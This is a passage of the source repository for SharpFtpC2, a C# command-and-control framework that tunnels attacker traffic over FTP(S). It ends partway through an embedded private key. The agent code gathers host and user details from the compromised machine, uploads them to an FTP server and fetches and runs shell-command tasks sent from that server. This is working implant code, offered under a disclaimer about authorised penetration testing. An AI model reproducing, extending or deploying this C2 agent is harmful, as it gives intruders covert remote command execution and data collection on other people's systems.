├── .gitignore ├── Assets └── Images │ ├── RSAKeyHelper_1.png │ ├── RSAKeyHelper_2.png │ ├── agent.png │ ├── banner.png │ ├── command.png │ ├── icon.png │ └── main.png ├── DISCLAIMER ├── FtpAgent ├── FtpAgent.sln └── FtpAgent │ ├── Agent.cs │ ├── AgentProtocol.cs │ ├── FtpAgent.csproj │ ├── Program.cs │ └── UX.cs ├── FtpC2 ├── FtpC2.sln └── FtpC2 │ ├── AsymEncryptionHelper.cs │ ├── C2Protocol.cs │ ├── Exceptions.cs │ ├── FtpC2.csproj │ ├── FtpHelper.cs │ ├── PlaceHolders.cs │ ├── Program.cs │ ├── ProtocolBase.cs │ ├── Responses │ ├── ResponseNotification.cs │ ├── ResponseShellCommand.cs │ └── ResponseWrapper.cs │ ├── SharedUtilities.cs │ ├── Tasks │ ├── TaskCommand.cs │ ├── TaskShellCommand.cs │ └── TaskWrapper.cs │ ├── UX.cs │ └── Utilities.cs ├── LICENSE ├── README.md └── RSAKeyHelper ├── RSAKeyHelper.sln └── RSAKeyHelper ├── Program.cs └── RSAKeyHelper.csproj /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml -------------------------------------------------------------------------------- /Assets/Images/RSAKeyHelper_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/SharpFtpC2/3f28eac8ccd956bfa266a19d528ffabfe44b1c8e/Assets/Images/RSAKeyHelper_1.png -------------------------------------------------------------------------------- /Assets/Images/RSAKeyHelper_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/SharpFtpC2/3f28eac8ccd956bfa266a19d528ffabfe44b1c8e/Assets/Images/RSAKeyHelper_2.png -------------------------------------------------------------------------------- /Assets/Images/agent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/SharpFtpC2/3f28eac8ccd956bfa266a19d528ffabfe44b1c8e/Assets/Images/agent.png -------------------------------------------------------------------------------- /Assets/Images/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/SharpFtpC2/3f28eac8ccd956bfa266a19d528ffabfe44b1c8e/Assets/Images/banner.png -------------------------------------------------------------------------------- /Assets/Images/command.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/SharpFtpC2/3f28eac8ccd956bfa266a19d528ffabfe44b1c8e/Assets/Images/command.png -------------------------------------------------------------------------------- /Assets/Images/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/SharpFtpC2/3f28eac8ccd956bfa266a19d528ffabfe44b1c8e/Assets/Images/icon.png -------------------------------------------------------------------------------- /Assets/Images/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/SharpFtpC2/3f28eac8ccd956bfa266a19d528ffabfe44b1c8e/Assets/Images/main.png -------------------------------------------------------------------------------- /DISCLAIMER: -------------------------------------------------------------------------------- 1 | Using "SharpFtpC2" or any related tool on a computer that you do not own or without written and explicit permission is illegal and strictly prohibited. This tool is designed for educational purposes, such as penetration testing within a defined scope and with proper authorization, or for remote system management. 2 | 3 | It is important to note that this tool should not be used in a production environment. All users who choose to utilize this tool do so at their own risk. The author of this project does not assume any liability for any damages or negative consequences that may arise from the use of this tool. 4 | 5 | Please be advised that only the source code of "SharpFtpC2" is provided. The author does not provide any compiled binaries, and it is the responsibility of the user to compile the code themselves. 6 | 7 | By reading this document, you acknowledge that you understand the potential consequences and legal implications of using this tool and agree to use it at your own risk. The author of this document cannot be held responsible for any illegal or unethical use of "SharpFtpC2" or related tools. 8 | 9 | --- 10 | 11 | # Disclaimer 12 | 13 | 🇺🇸 All source code and projects shared on this Github account by Jean-Pierre LESUEUR and his company, PHROZEN SAS, are provided "as is" without warranty of any kind, either expressed or implied. The user of this code assumes all responsibility for any issues or legal liabilities that may arise from the use, misuse, or distribution of this code. The user of this code also agrees to release Jean-Pierre LESUEUR and PHROZEN SAS from any and all liability for any damages or losses that may result from the use, misuse, or distribution of this code. 14 | 15 | By using this code, the user agrees to indemnify and hold Jean-Pierre LESUEUR and PHROZEN SAS harmless from any and all claims, liabilities, costs, and expenses arising from the use, misuse, or distribution of this code. The user also agrees not to hold Jean-Pierre LESUEUR or PHROZEN SAS responsible for any errors or omissions in the code, and to take full responsibility for ensuring that the code meets the user's needs. 16 | 17 | This disclaimer is subject to change without notice, and the user is responsible for checking for updates. If the user does not agree to the terms of this disclaimer, they should not use this code. 18 | 19 | 20 | 🇫🇷 Tout les codes sources et les projets partagés sur ce compte Github par Jean-Pierre LESUEUR et sa société, PHROZEN SAS, sont fournis "tels quels" sans aucune garantie, expresse ou implicite. L'utilisateur de ce code assume toute responsabilité pour les problèmes ou les responsabilités juridiques qui pourraient résulter de l'utilisation, de l'utilisation abusive ou de la diffusion de ce code. L'utilisateur de ce code accepte également de libérer Jean-Pierre LESUEUR et PHROZEN SAS de toute responsabilité pour tous dommages ou pertes pouvant résulter de l'utilisation, de l'utilisation abusive ou de la diffusion de ce code. 21 | 22 | En utilisant ce code, l'utilisateur accepte de garantir et de dégager Jean-Pierre LESUEUR et PHROZEN SAS de toutes réclamations, responsabilités, coûts et dépenses résultant de l'utilisation, de l'utilisation abusive ou de la diffusion de ce code. L'utilisateur accepte également de ne pas tenir Jean-Pierre LESUEUR ou PHROZEN SAS responsable des erreurs ou omissions dans le code et de prendre l'entière responsabilité de s'assurer que le code répond aux besoins de l'utilisateur. 23 | 24 | Cette clause de non-responsabilité est sujette à modification sans préavis et l'utilisateur est responsable de vérifier les mises à jour. Si l'utilisateur n'accepte pas les termes de cette clause de non-responsabilité, il ne doit pas utiliser ce code. -------------------------------------------------------------------------------- /FtpAgent/FtpAgent.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33723.286 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "FtpAgent", "FtpAgent\FtpAgent.csproj", "{6376A5B0-1BA8-4854-B81E-F5DC072C0FEE}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {6376A5B0-1BA8-4854-B81E-F5DC072C0FEE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {6376A5B0-1BA8-4854-B81E-F5DC072C0FEE}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {6376A5B0-1BA8-4854-B81E-F5DC072C0FEE}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {6376A5B0-1BA8-4854-B81E-F5DC072C0FEE}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {4F3EA4CF-1180-4310-AC71-76EA5FF5C9CB} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /FtpAgent/FtpAgent/Agent.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Diagnostics; 15 | using System.Linq; 16 | using System.Security.Principal; 17 | using System.Text; 18 | using System.Threading.Tasks; 19 | 20 | namespace FtpAgent 21 | { 22 | public class Agent 23 | { 24 | public Guid Id { get; set; } 25 | public DateTime DateTime { get; set; } 26 | public string? User { get; set; } 27 | public string? Computer { get; set; } 28 | public string? Domain { get; set; } 29 | public string? WorkPath { get; set; } 30 | public string? WorkDir { get; set; } 31 | public int ProcessId { get; set; } 32 | public bool Is64BitProcess { get; set; } 33 | public string? OSVersion { get; set; } 34 | public string? ImagePath { get; set; } 35 | 36 | public string DisplayName() 37 | { 38 | return $"{this.User ?? "Unknown"}@{this.Computer ?? "Unknown"}"; 39 | } 40 | 41 | public void Refresh(Guid? Id) 42 | { 43 | if (Id == null) 44 | throw new ArgumentNullException("id"); 45 | 46 | this.Id = Id.Value; 47 | this.DateTime = DateTime.Now; 48 | this.User = Environment.UserName; 49 | this.Computer = Environment.MachineName; 50 | this.Domain = Environment.UserDomainName; 51 | this.WorkPath = Environment.CurrentDirectory; 52 | this.WorkDir = Path.GetFileName(Path.GetDirectoryName(this.WorkPath)); 53 | this.Is64BitProcess = Environment.Is64BitProcess; 54 | this.OSVersion = Environment.OSVersion.VersionString; 55 | 56 | this.ImagePath = Process.GetCurrentProcess()?.MainModule?.FileName ?? ""; 57 | this.ProcessId = Process.GetCurrentProcess().Id; 58 | } 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /FtpAgent/FtpAgent/AgentProtocol.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using FtpC2.Responses; 13 | using FtpC2.Tasks; 14 | using System.Text.Json; 15 | using System.Threading.Tasks; 16 | 17 | namespace FtpAgent 18 | { 19 | internal class AgentProtocol : ProtocolBase 20 | { 21 | 22 | public delegate bool DangerousActionConfirmationDelegate(string nature); 23 | 24 | public DangerousActionConfirmationDelegate? DangerousActionConfirmation; 25 | 26 | public AgentProtocol(string host, string username, string password, bool secure, Guid session) 27 | : base(host, username, password, secure) 28 | { 29 | this.Session = session; 30 | } 31 | 32 | public void RegisterOrUpdateAgent() 33 | { 34 | Agent agent = new(); 35 | 36 | agent.Refresh(this.Session); 37 | 38 | string jsonAgent = JsonSerializer.Serialize(agent); 39 | 40 | string remoteFileName = PackRemoteFileName( 41 | Shared.PlaceHolders.AgentInformation, 42 | this.Session ?? Guid.Empty, 43 | null, 44 | PeerEncryptionHelper 45 | ); 46 | 47 | UploadString(jsonAgent, remoteFileName); 48 | } 49 | 50 | public List EnumerateTasks() 51 | { 52 | List tasks = new(); 53 | 54 | List files = ListDirectory(); 55 | 56 | foreach (string file in files) 57 | { 58 | var packedFileName = UnpackRemoteFileName(file); 59 | if (packedFileName == null) 60 | continue; // Ignore 61 | 62 | if (packedFileName.Name != Shared.PlaceHolders.TaskRequest) 63 | continue; // Ignore 64 | try 65 | { 66 | if (!packedFileName.Session.HasValue) 67 | throw new FormatException($"Session GUID expected but not found for file \"{file}\"."); 68 | 69 | if (packedFileName.Session != this.Session) 70 | continue; // Ignore 71 | 72 | if (!CanProcessFile(packedFileName, SelfEncryptionHelper)) 73 | continue; // Ignore 74 | 75 | // Download task content 76 | string jsonData = DownloadString(file); 77 | 78 | TaskWrapper? wrappedTask = JsonSerializer.Deserialize(jsonData); 79 | TaskWrapper? task = null; 80 | 81 | if (wrappedTask == null || wrappedTask.Id != packedFileName.Uid) 82 | throw new FormatException("File is corrupted or invalid."); 83 | 84 | switch(wrappedTask.TaskType) 85 | { 86 | case "TaskShellCommand": 87 | { 88 | // The DangerousActionConfirmation delegate is intended to be placed at every location where potentially harmful 89 | // code may be executed. The primary purpose is to prevent unintentional execution of malicious actions without 90 | // user consent during the Proof of Concept (PoC) phase. 91 | if (DangerousActionConfirmation != null) 92 | { 93 | if (!DangerousActionConfirmation.Invoke(wrappedTask.TaskType)) 94 | throw new Exception("Task Action Denied by End-user."); 95 | } 96 | 97 | TaskShellCommand? unwrappedTask = JsonSerializer.Deserialize(jsonData); 98 | if (unwrappedTask != null) 99 | task = unwrappedTask; 100 | 101 | break; 102 | } 103 | 104 | case "TaskCommand": 105 | { 106 | TaskCommand? unwrappedTask = JsonSerializer.Deserialize(jsonData); 107 | if (unwrappedTask != null) 108 | task = unwrappedTask; 109 | 110 | break; 111 | } 112 | 113 | // Add your additional task classes here 114 | // ... 115 | } 116 | 117 | if (task != null) 118 | tasks.Add(task); 119 | } 120 | catch 121 | { 122 | // Any potential exceptions are intentionally ignored to guarantee the deletion 123 | // of the task file. This precautionary measure prevents the persistence of a 124 | // possibly corrupted task file on the remote server, which could adversely affect 125 | // operations. 126 | } 127 | 128 | try 129 | { 130 | // Before registering the new task, it is mandatory to remove the existing 131 | // task request file from the remote server. This prerequisite step 132 | // ensures smooth creation and operation of the new task. 133 | DeleteFile(file); 134 | } 135 | catch 136 | { 137 | continue; 138 | } 139 | } 140 | 141 | return tasks; 142 | } 143 | 144 | public void RegisterNewResponse(ResponseWrapper response, Guid taskId) 145 | { 146 | response.TaskId = taskId; 147 | response.AgentId = this.Session ?? Guid.Empty; 148 | response.DateTime = DateTime.Now; 149 | response.ResponseType = response.GetType().Name; 150 | 151 | string jsonData = JsonSerializer.Serialize(response, response.GetType()); 152 | 153 | string remoteFileName = PackRemoteFileName( 154 | Shared.PlaceHolders.ResponseRequest, 155 | this.Session ?? Guid.Empty, 156 | taskId, 157 | PeerEncryptionHelper 158 | ); 159 | 160 | UploadString(jsonData, remoteFileName); 161 | 162 | /// 163 | UX.DisplaySuccess($"Task(`{taskId}`)->\"{response.DisplayName()}\" successfully processed."); 164 | } 165 | 166 | } 167 | } 168 | -------------------------------------------------------------------------------- /FtpAgent/FtpAgent/FtpAgent.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net6.0 6 | enable 7 | enable 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /FtpAgent/FtpAgent/Program.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Project: SharpFtpC2 - Agent (v1.0 Beta) 4 | * 5 | * Description: SharpFtpShell is a compact C# project that showcases the technique 6 | * of tunneling Command and Control (C2) communication via FTP(S). 7 | * 8 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 9 | * Email: jplesueur@phrozen.io 10 | * Website: https://www.phrozen.io 11 | * GitHub: https://github.com/DarkCoderSc 12 | * Twitter: https://twitter.com/DarkCoderSc 13 | * License: Apache-2.0 14 | * ========================================================================================= 15 | */ 16 | 17 | using FtpAgent; 18 | using FtpC2.Responses; 19 | using FtpC2.Tasks; 20 | using System.Net; 21 | using System.Text; 22 | using System.Text.Json; 23 | 24 | class Program 25 | { 26 | // In this Proof of Concept (PoC), the "AgentSession" GUID changes with each process instance. 27 | // If you require a unique identifier for each machine/user, it is advisable to replace this code 28 | // with a custom logic tailored to your needs. 29 | public static readonly Guid AgentSession = Guid.NewGuid(); 30 | 31 | // EDIT HERE BEGIN ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 32 | public static readonly string FtpHost = "127.0.0.1"; 33 | public static readonly string FtpUser = "dark"; 34 | public static readonly string FtpPwd = "toor"; 35 | public static readonly bool FtpSecure = false; 36 | 37 | public static readonly int BeaconDelayMin = 500; 38 | public static readonly int BeaconDelayMax = 1000; 39 | 40 | // Ensure that this contains the RSA Public / Private Key for the Agent, which is used to decrypt data received 41 | // from the C2. Utilize the RSAKeyHelper Tool to generate a fresh pair of Private and Public keys. 42 | public static readonly string EncodedPublicKey = "MIICCgKCAgEA6+URNSenrF9brgbRwEcxio7/N0D+6ZsL32Kx/j2/GVJPC4q3nwodBZDhsZalzi/CFdk4h0jiDyhTeSmU+Vq8RibQksPI0UbwL3+Mnuhrb13UifGoKMoaIY31vLMEeJ7Onyxnf15XiV4r2LorMHTwlqd1gyMR6dAu5nzshKA8yle06qrPpTP10pw7pR/iznKI/LAyJes/ox5JbO/Z1tmjtMDChx1+FgZB1wbSAlAw7fh04C3KH24vvobd5a1gMLGqBbAu3EWMXhj2Io/8aAq8f1nvau068Dl7tyD6ybD7/pam3XN3O30Grqcp2093ZnQvNbfTTaeLjZ1fs3MFkwzMXxtoKXtivqyLBH96ZI8IEMKG9IDGxPaOfIePJr7AyTinZ1g3Y/IIWor9v+wwAl8QuWf2zOTnBXSzN2jXKUDz29u3ITkhRnZJm0Vkma1Nuo6n7OB5m4lbUTQB4/cMNihUOvDSkPwh+uQF8loNQDLH5zO9oIEpdzoonsMmntOqYQMk2+uPGAF7/p3ZzRDsayhsbuHvnwzVbY8Tp9xedDj85TorehmPJJsTYmDsOahhh57E5Lpcfze32dO83z3slVHp/fYNpfHMLakV/gn0bvJFohCpCvxyUR6zSRVvvrPA0mHUAJPviX5lnenTTg8pwBLiBcGOGvdBromUDqCHlxQgEH0CAwEAAQ=="; 43 | public static readonly string EncodedPrivateKey = "MIIJJwIBAAKCAgEA6+URNSenrF9brgbRwEcxio7/N0D+6ZsL32Kx/j2/GVJPC4q3nwodBZDhsZalzi/CFdk4h0jiDyhTeSmU+Vq8RibQksPI0UbwL3+Mnuhrb13UifGoKMoaIY31vLMEeJ7Onyxnf15XiV4r2LorMHTwlqd1gyMR6dAu5nzshKA8yle06qrPpTP10pw7pR/iznKI/LAyJes/ox5JbO/Z1tmjtMDChx1+FgZB1wbSAlAw7fh04C3KH24vvobd5a1gMLGqBbAu3EWMXhj2Io/8aAq8f1nvau068Dl7tyD6ybD7/pam3XN3O30Grqcp2093ZnQvNbfTTaeLjZ1fs3MFkwzMXxtoKXtivqyLBH96ZI8IEMKG9IDGxPaOfIePJr7AyTinZ1g3Y/IIWor9v+wwAl8QuWf2zOTnBXSzN2jXKUDz29u3ITkhRnZJm0Vkma1Nuo6n7OB5m4lbUTQB4/cMNihUOvDSkPwh+uQF8loNQDLH5zO9oIEpdzoonsMmntOqYQMk2+uPGAF7/p3ZzRDsayhsbuHvnwzVbY8Tp9xedDj85TorehmPJJsTYmDsOahhh57E5Lpcfze32dO83z3slVHp/fYNpfHMLakV/gn0bvJFohCpCvxyUR6zSRVvvrPA0mHUAJPviX5lnenTTg8pwBLiBcGOGvdBromUDqCHlxQgEH0CAwEAAQKCAgB5Ph7+BwezHL/uTir4fJ8F7EFYkNt0DfCoO/3oAqx5w0hFUmLWJ0iLV8/oitllhD5pJGBdiCRITh25JJohH3WtSL3i8SYCCkfg4dnQwvyVHNDkpYQckuOjY2duOUSPCnCAdz4qxL6RKAm5NtaD7VbK1/8aC6hlWE8CwCqAcCtOhI3EH07iRjaOrSYq1JyqJ0wpNBZSTvtCR4rNpul7+BigCoLxF0N65nRopGTEM5sydIT9xAsi5Gs9revW5KmP3YDZs5giNszSgFnhocfFYd9IRV08w/mLBsCDezvq9kBOtffF0lbyCGyqz9g/lDR2QDkTjwvX2clsW/qYLQIsdmODcdcgL/okN7aVqiD3eq7ycFvsO/1objNrExXeoXYJQM8yenvhOAiyVwq2H5GRs4V0KujLjklehJU2bV1BQ3PviStJcZ2WwMhLMzLgG4jz8sY5AhiXbelzGydKiR7X6QHTeA+ndgJ3e3JN2NAKd3TSddhDKNhBZQkRAIL27veUOIrjxMtkGzwaVrzpyE39nq5yvlOSgo0fsKXzbPKiiGv5VOo/irKVDhUjXgLzilZyKcbOVLaoEK3iPtjMQoUee3h9j3H95XZNz/zlKF3kAB7aGA88NS4fWrVwrZOR+PrEpF7SBI8nJmE1yf6hcwy2v6qfOh9R+hmF8K/gLnaUp23OMQKCAQEA8TzKrUrF0Fkk7JXZA0wdib/a2gpjF/PalTk5iXeRUclcpFE55RZzVCL+Vy8YtdC9Bmt4yx+xagYyTnSCbUA4/T9Ct0DZvIQiSH1V+Na3oC4llpVQbXK1LdAzySaW1SQxscarTPez5DSkBPbnPx99jmSvF9+u8TgTksAL62O0t44eEUR3rVutxJOtpi6W3ZXW4kxLJvqqbkh3dqX76Z4pVBFbqe0EM7zu+xxr7hsdUCZreSWO1HgiWY30RAve309JubY3f3xHIsTjHfwAHDkJJ7sXoUTIOwtPK4vbHOsOdb6Zm82UQuJd3u9j9